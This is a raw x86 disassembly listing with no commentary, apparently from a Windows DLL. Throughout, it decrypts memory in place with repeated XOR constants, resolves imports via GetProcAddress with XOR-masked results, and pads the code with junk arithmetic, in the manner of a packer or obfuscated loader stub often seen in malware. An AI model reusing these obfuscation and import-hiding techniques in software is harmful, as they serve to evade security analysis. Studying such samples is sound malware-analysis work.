mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf048]
add eax, 0x202e4
xor eax, dword [ecx]
xor eax, 0xdccece28
mov dword [ecx], eax
mov eax, dword [0x1010536c]
sub dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333f8]
add eax, 0x333fc
xor eax, dword [ecx]
xor eax, 0xdccfff30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b539]
add eax, 0x36450
xor eax, dword [ecx]
xor eax, 0xdccfa89c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b60]
add eax, 0x36aa8
xor eax, dword [ecx]
xor eax, 0xdccfa664
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16aa0]
add eax, 0x21808
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x3eb
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32aa8]
add eax, 0x13050
xor eax, dword [ecx]
xor eax, 0xdccdfc9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4af0]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183a9]
add eax, 0x2327c
xor eax, dword [ecx]
xor eax, 0xdccefeb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x160f3]
add eax, 0x15a60
xor eax, dword [ecx]
xor eax, 0xdccd96ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36da0]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ec8]
add eax, 0x51a0
xor eax, dword [ecx]
xor eax, 0xdccc9d6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3318c]
add eax, 0x36f08
xor eax, dword [ecx]
xor eax, 0xdccfa3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce98]
add eax, 0x1cebc
xor eax, dword [ecx]
xor eax, 0xdccd0270
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32db8]
add eax, 0x32dbc
xor eax, dword [ecx]
xor eax, 0xdccfe170
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x39da]
add eax, 0x20084
xor eax, dword [ecx]
xor eax, 0xdccecc48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeef2]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003df7c
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240bc]
add eax, 0x23c48
xor eax, dword [ecx]
mov edx, 0xdcc696d8
xor eax, 0xdccef084
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x88fa]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cb0b]
add eax, 0xa55b4
xor eax, dword [ecx]
xor eax, 0xdcc69978
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
add dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa422c]
add eax, 0x7f5b8
xor eax, dword [ecx]
xor eax, 0xdccb3974
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb2f8]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d83]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1722]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12913]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18a7d]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3323c]
add eax, 0x33240
xor eax, dword [ecx]
xor eax, 0xdccffe8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc4a9]
add eax, 0x2892c
xor eax, dword [ecx]
xor eax, 0xdcce45e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a20]
add eax, 0xa4b88
xor eax, dword [ecx]
xor eax, 0xdcc68744
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140be]
add eax, 0xa5a80
xor eax, dword [ecx]
xor eax, 0xdcc6964c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfc49]
add eax, 0x31f10
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x25e
xor eax, 0xdccfd3dc
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10105368]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003e10b
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9e18]
add eax, 0x20078
xor eax, dword [ecx]
push 0x10107c41
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1289b]
add eax, 0x123e0
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccdef2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x129d0]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa03d]
add eax, 0x20120
xor eax, dword [ecx]
xor eax, 0xdccecdec
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202a0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9e8a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ad0]
add eax, 0x12fe0
xor eax, dword [ecx]
xor eax, 0xdccde32c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb087]
add eax, 0xa5a10
xor eax, dword [ecx]
xor eax, 0xdcc696dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe9df]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, dword [0x1010536c]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b37b]
add eax, 0x36aa8
xor eax, dword [ecx]
xor eax, 0xdccfa664
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c57]
add eax, 0x23818
xor eax, dword [ecx]
xor eax, 0xdccef4d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf986]
add eax, 0xa5a40
xor eax, dword [ecx]
xor eax, 0xdcc6968c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x38f6]
add eax, 0x25530
xor eax, dword [ecx]
xor eax, 0xdcce99fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x177a0]
add eax, 0x177d4
xor eax, dword [ecx]
xor eax, 0xdccdbb18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a37]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5cda]
add eax, 0x20308
xor eax, dword [ecx]
xor eax, 0xdccecfc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4d89]
add eax, 0x25ae0
xor eax, dword [ecx]
xor eax, 0xdcce962c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ab4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254e8]
add eax, 0x3000
xor eax, dword [ecx]
xor eax, 0xdcccfccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xea48]
add eax, 0x28ff0
xor eax, dword [ecx]
xor eax, 0xdcce433c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f37]
add eax, 0x23230
xor eax, dword [ecx]
xor eax, 0xdccefefc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9bc3]
add eax, 0x27e14
xor eax, dword [ecx]
xor eax, 0xdcceb2d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4b5f]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x46f7]
add eax, 0x4660
xor eax, dword [ecx]
xor eax, 0xdccc8aac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa472c]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a74]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33080]
add eax, 0x36ef0
xor eax, dword [ecx]
push 0x10107320
xor eax, 0xdccfa23c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25768]
add eax, 0x13040
xor eax, dword [ecx]
push dword [esp + 0x20]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10ead]
add eax, 0x32360
xor eax, dword [ecx]
xor eax, 0xdccfefac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3142]
add eax, 0x20370
xor eax, dword [ecx]
xor eax, 0xdccecfbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20378
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf855e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1368d]
add eax, 0x23028
xor eax, dword [ecx]
xor eax, 0xdccefce4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0xbcb6e5ed
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x177f3]
add eax, 0x17884
xor eax, dword [ecx]
xor eax, 0xdccdb448
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10103e60]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1ce0c]
add eax, 0x1ce38
xor eax, dword [ecx]
xor eax, 0xdccd02f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2828]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcc29]
add eax, 0x28d60
xor eax, dword [ecx]
xor eax, 0xdcce41ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11b19]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb0d7]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34010]
add eax, 0x34000
xor eax, dword [ecx]
push 0x10107805
xor eax, 0xdccf8ccc
mov dword [ecx], eax
mov eax, dword [0x101062e4]
or eax, dword [0x1010536c]
push ebp
mov dword [0x10105abc], eax
mov eax, dword [0x10106ae8]
and eax, dword [esp + 0x1c]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
add eax, 0x20148
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8208
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d4c]
add eax, 0x3716c
xor eax, dword [ecx]
xor eax, 0xdccfbda0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6a69]
add eax, 0x20238
xor eax, dword [ecx]
xor eax, 0xdccecef4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a40]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa313]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x32b30]
add eax, 0x32b34
xor eax, dword [ecx]
xor eax, 0xdccfe7f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341ec]
add eax, 0x1f707
xor eax, dword [ecx]
xor eax, 0xdccd3bcb
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x121c9]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10105368]
xor eax, dword [0x101062e0]
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32f7c]
add ecx, 0x32f80
mov dword [0x10103e64], eax
xor ecx, dword [edx]
sub eax, dword [0x10103e60]
xor ecx, 0xdccfe34c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x33238]
add ecx, 0x36fa4
xor ecx, dword [edx]
xor ecx, 0xdccfa368
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x11df9]
add ecx, 0x324b8
xor ecx, dword [edx]
xor ecx, 0xdccfe874
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3ee4]
add ecx, 0x5e170
xor ecx, dword [edx]
xor ecx, 0xdcc92dbc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x140af]
add ecx, 0xa5a74
xor ecx, dword [edx]
xor ecx, 0xdcc696b8
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x17f9d]
add ecx, 0x36070
xor ecx, dword [edx]
xor ecx, 0xdccfacbc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
xor dword [0x101062e4], ecx
lea edx, [ecx + 0x329f8]
add ecx, 0x13090
xor ecx, dword [edx]
xor ecx, 0xdccdfc5c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32978]
add ecx, 0x335c8
xor ecx, dword [edx]
xor ecx, 0xdccff904
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3cbc]
add ecx, 0x540f8
xor ecx, dword [edx]
xor ecx, 0xdcc98c34
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x15f2f]
add ecx, 0x15ab4
xor ecx, dword [edx]
xor ecx, 0xdccd9678
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x877e]
add ecx, 0x2001c
xor ecx, dword [edx]
xor ecx, 0xdcceccd0
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x33128]
add ecx, 0x330b8
xor ecx, dword [edx]
xor ecx, 0xdccffc74
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xbd1a]
add ecx, 0xbc50
xor ecx, dword [edx]
xor ecx, 0xdccc709c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x137a8]
add ecx, 0x231a8
xor ecx, dword [edx]
xor ecx, 0xdccefd64
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x34480]
add ecx, 0x1edfd
xor ecx, dword [edx]
xor ecx, 0xdccd2131
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x36ad0]
add ecx, 0x249f4
xor ecx, dword [edx]
xor ecx, 0xdcce8538
mov dword [edx], ecx
mov ecx, dword [0x101062e4]
or ecx, 0x47ae1682
mov dword [0x1010536c], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x33608]
add ecx, 0x339c0
xor ecx, dword [edx]
xor ecx, 0xdccff50c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x58203f66]
mov dword [0x10103e60], edx
lea edx, [ecx + 0x256d8]
add ecx, 0x3840
xor ecx, dword [edx]
xor ecx, 0xdcccf48c
mov dword [edx], ecx
mov ecx, dword [0x10103e60]
xor ecx, 0x259b2e47
mov dword [0x101062e4], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa443c]
add ecx, 0x87078
xor ecx, dword [edx]
xor ecx, 0xdcc4bcb4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa4784]
add ecx, 0x98498
xor ecx, dword [edx]
xor ecx, 0xdcc54854
mov dword [edx], ecx
mov ecx, dword [0x10103e60]
or dword [0x101062e4], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32e04]
add ecx, 0x36df8
xor ecx, dword [edx]
xor ecx, 0xdccfa134
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x254dc]
add ecx, 0x3260
xor ecx, dword [edx]
xor ecx, 0xdcccfeac
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1a8b9]
add ecx, 0xa51e0
xor ecx, dword [edx]
xor ecx, 0xdcc69d2c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x11d54]
add ecx, 0x20364
xor ecx, dword [edx]
xor ecx, 0xdccecfa8
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xf7de]
add ecx, 0x20078
xor ecx, dword [edx]
xor ecx, esi
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x12a19]
add ecx, 0x20244
xor ecx, dword [edx]
xor ecx, 0xdccece88
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x337fc]
add ecx, 0xa4ad8
xor ecx, dword [edx]
push 0x10107dca
xor ecx, 0xdcc68614
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x23fdc]
add ecx, 0x23eec
xor ecx, dword [edx]
push dword [esp + 0x34]
xor ecx, 0xdccef220
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1f424]
add ecx, 0x36060
xor ecx, dword [edx]
xor ecx, 0xdccfacac
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x5a95]
add ecx, 0x25f90
xor ecx, dword [edx]
xor ecx, 0xdcce935c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
mov edx, ecx
imul edx, eax
add ecx, 0x20004
mov dword [0x1010536c], edx
mov dword [esp + 0x18], ecx
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x60
xor ecx, 0xcccf9fca
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24004]
add eax, 0x23ebc
xor eax, dword [ecx]
xor eax, 0xdccef270
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add eax, 0xecaa0b41
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1773a]
add eax, 0xa8fcc
xor eax, dword [ecx]
xor eax, 0xdcc64300
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x101062e0], 0
lea ecx, [eax + 0xea76]
add eax, 0x328dc
xor eax, dword [ecx]
xor eax, 0xdccfe410
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
xor dword [esp + 0x14], 0xd8743136
dec dword [esp + 0x10]
jne 0x1003ea6e
mov eax, dword [0x10105abc]
xor eax, 0x60
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1197f]
add eax, 0x1f66e
xor eax, dword [ecx]
xor eax, 0xdccd3aa2
mov dword [ecx], eax
mov eax, dword [0x10103e60]
or eax, dword [0x1010536c]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b0c]
add eax, 0x41db0
xor eax, dword [ecx]
xor eax, 0xdcc8d17c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
add dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6c99]
add eax, 0x20238
xor eax, dword [ecx]
xor eax, 0xdccecef4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e258]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x5907]
mov ecx, eax
imul ecx, dword [0x1010536c]
add eax, 0x202ec
xor eax, dword [edx]
xor eax, 0xdccece20
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x4f3f]
add eax, 0x25d30
xor eax, dword [edx]
xor eax, 0xdcce91fc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x6aaf]
add eax, 0x27a04
xor eax, dword [edx]
xor eax, 0xdcceb6c8
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, dword [0x1010536c]
add edx, eax
mov dword [0x10103e60], edx
lea edx, [eax + 0x32aa4]
add eax, 0x42b0
xor eax, dword [edx]
xor eax, 0xdccc8e7c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x312f]
add eax, 0x23068
xor eax, dword [edx]
xor eax, 0xdccefca4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x820a]
add eax, 0x20264
xor eax, dword [edx]
xor eax, 0xdccecea8
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
xor edx, ecx
mov dword [0x101062e4], edx
lea edx, [eax + 0x36ab4]
add eax, 0x24a24
xor eax, dword [edx]
xor eax, 0xdcce86e8
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa49fc]
add eax, 0x283a8
xor eax, dword [edx]
xor eax, 0xdcce4f64
mov dword [edx], eax
mov eax, dword [0x1010536c]
sub eax, ecx
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa45bc]
add eax, 0x8f270
xor eax, dword [edx]
xor eax, 0xdcc43ebc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1c683]
add eax, 0xa51e4
xor eax, dword [edx]
xor eax, 0xdcc69d28
mov dword [edx], eax
xor dword [0x101062e4], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb1a2]
add eax, 0xa5a44
xor eax, dword [ecx]
xor eax, 0xdcc69688
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36af4]
add eax, 0x249bc
xor eax, dword [ecx]
xor eax, 0xdcce8570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa013]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf3b9]
add eax, 0x1f5ab
xor eax, dword [ecx]
xor eax, 0xdccd3967
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19312]
add eax, 0x201a8
xor eax, dword [ecx]
xor eax, 0xdccecd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1217c]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b550]
add eax, 0x33ca8
xor eax, dword [ecx]
xor eax, 0xdccff064
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43e0]
add eax, 0x26614
xor eax, dword [ecx]
xor eax, 0xdcceaad8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10981]
add eax, 0x27c88
xor eax, dword [ecx]
xor eax, 0xdcceb044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11055]
add eax, 0x2016c
xor eax, dword [ecx]
xor eax, 0xdccecda0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335ec]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11191]
add eax, 0x323d4
xor eax, dword [ecx]
xor eax, 0xdccfef18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d48e]
add eax, 0xa55c4
xor eax, dword [ecx]
xor eax, 0xdcc69908
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa404c]
add eax, 0x79410
xor eax, dword [ecx]
xor eax, 0xdccb58dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4a02]
add eax, 0x25a38
xor eax, dword [ecx]
xor eax, 0xdcce96f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ab8]
add eax, 0x24a20
xor eax, dword [ecx]
xor eax, 0xdcce86ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43f4]
add eax, 0x86498
xor eax, dword [ecx]
xor eax, 0xdcc4a854
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15934]
add eax, 0x14826
xor eax, dword [ecx]
xor eax, 0xdccd84ea
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x113f2]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c36]
add eax, 0x200cc
xor eax, dword [ecx]
xor eax, 0xdccecc00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46cc]
mov dword [esp + 0x20], eax
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, dword [esp + 0x20]
mov dword [0x1010536c], eax
mov eax, dword [0x10106ae8]
imul eax, eax, 0x9446878
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ac8]
add eax, 0x13d00
xor eax, dword [ecx]
xor eax, 0xdccdf1cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
push 0x10107761
add eax, 0x20120
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107b41
xor ecx, 0xcccf82ca
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d0c]
add eax, 0x27748
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33c5c]
add eax, 0x1a349
xor eax, dword [ecx]
xor eax, 0xdccd6f85
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa08a]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
xor eax, dword [esp + 0x28]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x63c9]
add eax, 0x200b0
xor eax, dword [ecx]
xor eax, 0xdccecc7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x58fc]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13493]
add eax, 0x32a84
xor eax, dword [ecx]
xor eax, 0xdccfe648
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f60]
add eax, 0x7ef3
xor eax, dword [ecx]
xor eax, 0xdcccb23f
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11fe1]
add eax, 0x20300
xor eax, dword [ecx]
xor eax, 0xdccecfcc
mov dword [ecx], eax
mov ebp, dword [0x10107300]
add ebp, 0x20260
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebp]
xor eax, 0xcccf9db2
mov dword [ebp], eax
mov eax, dword [0x10105abc]
and eax, dword [esp + 0x18]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c3]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
